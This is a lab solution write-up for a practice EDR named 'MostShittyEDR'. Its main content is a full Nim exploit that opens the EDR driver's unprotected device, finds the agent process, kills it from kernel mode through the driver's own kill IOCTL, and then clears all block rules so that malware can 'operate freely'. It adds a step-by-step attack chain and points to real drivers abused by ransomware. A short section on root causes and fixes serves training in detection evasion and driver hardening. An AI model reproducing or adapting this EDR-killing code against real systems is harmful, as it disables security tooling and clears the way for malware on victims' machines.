Solution 40: IOCTL Hijack — Kill via EDR's Own Driver
Overview
The MostShittyEDR driver’s device (\\.\MostShittyEDR) has zero access control — any process can open it and invoke all IOCTLs, including IOCTL_KILL_PROCESS which calls ZwTerminateProcess from ring 0. This turns the EDR’s own driver into a BYOVD weapon without needing any external vulnerable driver.
Solution
# ioctl_hijack.nim - kill the EDR agent using its own driver
import winim/lean
const
DEVICE_PATH = r"\\.\MostShittyEDR"
IOCTL_KILL_PROCESS = 0x222004'u32
IOCTL_CLEAR_RULES = 0x22200C'u32
type
EdrCommand {.packed.} = object
action: uint32
processId: uint64
proc findPid(name: string): DWORD =
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if snap == INVALID_HANDLE_VALUE: return 0
defer: CloseHandle(snap)
var pe: PROCESSENTRY32
pe.dwSize = DWORD(sizeof(PROCESSENTRY32))
if Process32First(snap, &pe) != 0:
while true:
let exe = $cast[cstring](addr pe.szExeFile[0])
if exe.toLowerAscii() == name.toLowerAscii():
return pe.th32ProcessID
if Process32Next(snap, &pe) == 0: break
return 0
when isMainModule:
# Step 1: Open the EDR's own device — no admin required
let hDevice = CreateFileA(DEVICE_PATH,
GENERIC_READ or GENERIC_WRITE,
0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
if hDevice == INVALID_HANDLE_VALUE:
echo "[-] Cannot open device (driver not loaded?)"
quit(1)
defer: CloseHandle(hDevice)
echo "[+] Opened \\\\.\\ MostShittyEDR device"
# Step 2: Find the agent PID
let pid = findPid("edr_agent.exe")
if pid == 0:
echo "[-] edr_agent.exe not found"
quit(1)
echo "[+] Agent PID: ", pid
# Step 3: Kill the agent via its own driver's IOCTL
var cmd = EdrCommand(action: 1, processId: uint64(pid))
var bytesReturned: DWORD
let ok = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
&cmd, DWORD(sizeof(cmd)), nil, 0, &bytesReturned, nil)
if ok != 0:
echo "[+] Agent killed via its own driver's ZwTerminateProcess"
else:
echo "[-] Kill IOCTL failed: ", GetLastError()
quit(1)
# Step 4: Clear all block rules so malware can run freely
discard DeviceIoControl(hDevice, IOCTL_CLEAR_RULES,
nil, 0, nil, 0, &bytesReturned, nil)
echo "[+] All kernel block rules cleared"
echo "[+] EDR is dead, protections removed — operate freely"
Why It Works
The vulnerability chain is:
-
IoCreateDevicewith no security descriptor (driver.cpp:882-884): The device inherits the default DACL, which allows local users to open it. -
DispatchCreateClosealways succeeds (driver.cpp:762-769): No process identity check, no integrity level check, no signature validation. -
FILE_ANY_ACCESSon all IOCTLs (driver.cpp:59-72): Even a handle opened with onlyGENERIC_READcan send destructive IOCTLs. -
HandleKillProcessvalidates onlyAction == 1(driver.cpp:567): No check whether the target PID is the agent, a system process, or if the caller is authorized.
A production EDR would fix this with:
- A restrictive DACL on the device object (only the agent’s SID)
- Caller verification via
IoGetRequestorProcessIdor PID binding onIRP_MJ_CREATE FILE_WRITE_ACCESSon destructive IOCTLs- PID whitelist preventing self-kill
Attack Chain
1. CreateFileA("\\.\MostShittyEDR") — succeeds without admin
2. Find edr_agent.exe PID via Toolhelp32
3. DeviceIoControl(IOCTL_KILL_PROCESS, {Action=1, PID=target})
4. Agent is dead — ZwTerminateProcess from ring 0
5. DeviceIoControl(IOCTL_CLEAR_BLOCK_RULES) — remove all protections
6. Operate freely — callbacks still fire but nobody reads them
Real-World Comparison
This is the same class of vulnerability that made real EDR drivers exploitable in the wild:
- Avast aswArPot.sys — exposed a kill-process IOCTL that the Avos Locker ransomware abused
- Zemana AntiMalware —
zam64.sysexposed similar unprotected IOCTLs
Modern EDRs protect against this by running their agent as PPL and restricting device access to the agent’s exact process signature.
How to Verify
- Start the EDR:
.\edr_agent.exe --driver --verbose - In another terminal, compile and run:
nim c -r ioctl_hijack.nim - The agent disappears — verify with
tasklist /fi "imagename eq edr_agent.exe" - The driver is still loaded but orphaned — events are enqueued with nobody to read them
MostShittyEDR